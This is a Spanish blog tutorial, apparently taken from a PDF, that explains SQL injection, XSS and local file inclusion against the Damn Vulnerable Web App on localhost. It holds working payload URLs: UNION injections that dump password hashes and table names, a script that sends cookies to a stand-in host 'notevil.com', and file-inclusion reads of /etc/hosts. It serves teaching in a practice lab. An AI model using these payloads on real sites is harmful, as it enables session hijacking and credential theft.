Está en la página 1de 5

Como hackear pginas web

( en serio )
Las webs hoy en da son cada da mas seguras. O no? Como intentodemostrar
frecuentemente en twitter, tal vez no sea asi.
Nota: Este capitlo es el primero de una serie de por ahora dos capitulos. El
segundo es un articulo se especializa en identificar potenciales
vulnerabilidades, como hackear paginas web (fingerprinting and information
gathering).
Hay muchas herramientas hoy en da para encontrar vulnerabilidades en una
web. Si una web utiliza una versin vieja de un CMS, cosa que podemos
determinar utilizando una herramienta como Wappalizer o WhatWeb (ver el
segundo capitulo de la serie), la cuestin es mas sencilla. Es muy importante hoy
en da mantener actualizado nuestro software. En caso contrario, un atacante
podra buscar en el changelog de nuestro CMS todo lo referente a correcciones
de vulnerabilidades en versiones posteriores a la que nosotros tenemos
actualmente.
Tambin hay otras herramientas para hackeear webs, pero yo hoy voy a optar
por explicar que tipo de vulnerabilidades se pueden encontrar una web de una
manera mas artesanal. Este artculo no plantea demostrar un tipo de
vulnerabilidad nueva, ni pretende ser la demostracin de un conocimiento muy
avanzado. Simplemente es una explicacin bsica de algunos tipos de
vulnerabilidades que pueden encontrarse en una web y como un atacante
explotara de ellas. Bsicamente, se trata de:

Inyecciones SQL

Cross Site Scripting ( Javascript injection )

Local file inclusion / Remote file inclusion

Para todos los ejemplos, usaremos cdigo de Damn Vulnerable Web App. Te
pods descargar esta aplicacin para practicar los ejemplos que planteo ac.
Todos los ejemplos estan hechos con la seguridad en low. Una vez instalado el
app, and a DVWA Security y eleg low.

Inyecciones SQL
Muy frecuentemente se piensa que a travs de SQL solamente se puede obtener
acceso a la base de datos. Esto generalmente es asi, pero SQL es un lenguaje
muy versatil y nos permite hacer muchas cosas entre ellas leer archivos en el
disco duro. De todas maneras, el acceso a la base de datos es bastante
catastrfico de por si. El cdigo vulnerable se ve de esta manera:
1
2
3

<?php
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

En este ejemplo, el cdigo a ejecutarse se obtiene de algn parmetro de la URL,


como ser
1

http://localhost/hack/vulnerabilities/sqli/?id=5

Esto es asi en muchas aplicaciones web, y todo esta perfecto siempre y cuando
se filtre la informacin que enva el usuario. Al no estar escapado el input del
usuario, si visitsemos esta URL, nos encontraramos con la sorpresa de que nos
muestra las passwords de los usuarios ( hasheadas con MD5, que puede ser roto
fcilmente ).
http://localhost/hack/vulnerabilities/sqli/?
id=1'+or+1+UNION+select+password+as+first_name,+user_id+from+users
%23&Submit=Submit#
El hacer esto hace que la consulta que realicemos se transforme en
SELECT first_name, last_name FROM users WHERE user_id = 1 or 1 UNION
select password as first_name, user_id from users#
Aquellos que esten prestando atencin se preguntaran como averigu que el
campo password se llamaba password, como averigu que el campo user_id se
llamaba user_id y cmo averigu que la tabla users se llamaba users. Es simple,
como la web es ma y la instal yo, mir en la base de datos :D
En caso que no podamos darnos ese gusto, hay que recurrir a tcnicas mas
complicadas que se pueden encontrar en un link que recomend antes en mi
blog SQL Injection Pocket Reference. Lo que voy a hacer es preguntarle a mysql
como se llaman las tablas:

http://localhost/hack/vulnerabilities/sqli/?
id=5'+UNION+SELECT+table_name,
+table_schema+FROM+information_schema.tables
%23&Submit=Submit#
Al hacer eso la consulta se transforma en:
SELECT first_name, last_name FROM users WHERE user_id = 5 UNION SELECT
table_name, table_schema FROM information_schema.tables#
Lo que hace que la pgina nos muestre todas las tablas que existen en mysql,
conjunto con que base de datos estan. En mi caso, en conjunto con muchas otras
entradas que hay, aparece una que dice
ID: 5 UNION SELECT table_name, table_schema FROM
information_schema.tables#
First name: users
Surname: dvwa
Podemos hacer lo mismo para obtener las columnas:
http://localhost/hack/vulnerabilities/sqli/?id=5'+UNION+SELECT+column_name,
+'xss'+FROM+information_schema.columns+WHERE+table_name+
%3D+'users'%23&Submit=Submit#

Cross site scripting (XSS)


Cross site scripting es una vulnerabilidad que surge al recibir por algn medio
informacin que luego va a ser incrustada en el HTML de nuestra pgina sin
escaparla correctamente. Hay dos tipos de inyeccin XSS que podemos
encontrar, a los que nos referimos en ingles, cmo reflected y stored. La primera
se crea al modificar algn parmetro por get a algn valor que el administrador
no esper, y la segunda se genera al mostrar informacin previamente guardada
en la base de datos.
Refiriendonos a la aplicacin, el ejemplo que vemos como reflected sera una URL
como esta:
1

http://localhost/hack/vulnerabilities/xss_r/?name=pedro

Con las vulnerabilidades de este tipo podemos hacer infinidad de cosas, entre las
cuales est abusar la confianza que tiene el browser de el usuario con el sitio. La

pgina web localhost, al navegarla por primera vez cre en mi browser una
cookie que guarda toda la informacin sobre mi, un session id. Como podemos
leer en este excelente artculo, esta es el nico medio que tiene el server para
diferenciar e identificar usuarios. Una vez obtenida la cookie de un usuario,
podemos suplantar su identidad.
Normalmente esto es una tarea dificil, ya que el browser del usuario entrega esa
informacin solamente al servidor correspondiente. Pero eso para nosotros no es
problema, No? Podemos ejecutar cdigo javascript en l, asique por lo tanto el
browser nos va a dar lo que no debera.
Para hacer que un usuario nos enve sus cookies, debemos hacer que visite una
URL como esta:
http://localhost/hack/vulnerabilities/xss_r/?name=%3Cscript%3Eajax+
%3D+new+XMLHttpRequest();ajax.open('get',+'http://notevil.com/steal.php
%3Fcookie%3D'+%2B+escape(document.cookie),+true);ajax.send(null);
%3C/script%3E#
Es poco probable que un usuario clicke un enlace asi, pero si quieren ver uno
que quizs clicke, clickeen aqui.
El stored XSS sigue la misma lgica, excepto que la informacin queda guardada
en la base de datos.

File inclusion
El file inclusion lo podemos encontrar cuando una aplicacin web incluye
archivos basado en el input de un usuario. Hay dos tipos de file inclusion, el local
file inclusion y el remote file inclusion. Como sus nombres indican, el local incluye
archivos locales y el remote incluye archivos remotos, todo esto respecto al
servidor.
En el caso de nuestra aplicacin vulnerable, tenemos un LFI. ( podra ser un RFI
tambin si tuviesemos configurado allow_url_include en nuestro PHP )
1

http://localhost/hack/vulnerabilities/fi/?page=include.php

A travs de l tenemos acceso a todos los archivos a los que tenga acceso el
usuario con el que se est corriendo apache. Por ejemplo /etc/hosts
1

http://localhost/hack/vulnerabilities/fi/?page=/etc/hosts

O el readme de la aplicacin:
1

http://localhost/hack/vulnerabilities/fi/?page=../../README.txt

Espero que les haya gustado! Recuerden seguirme en twitter o suscribirse a este
blog usando la opcin el el men de la izquierda para recibir mas artculos como
este.
Se que esto es no es facil de seguir. Sepan que leo todos los comentarios, pero
que me es imposible ensenarles a todos o a un par de ustedes. De todas
maneras, sigan comentando si tienen alguna duda! Voy a intentar ayudarlos.
Tambien les recomiendo este tutorial, tiene muchas cosas muy interesantes!
Tambien les recomiendo el proximo capitulo de la serie como hackear paginas
web, como hackear paginas web (fingerprinting);
Un saludo,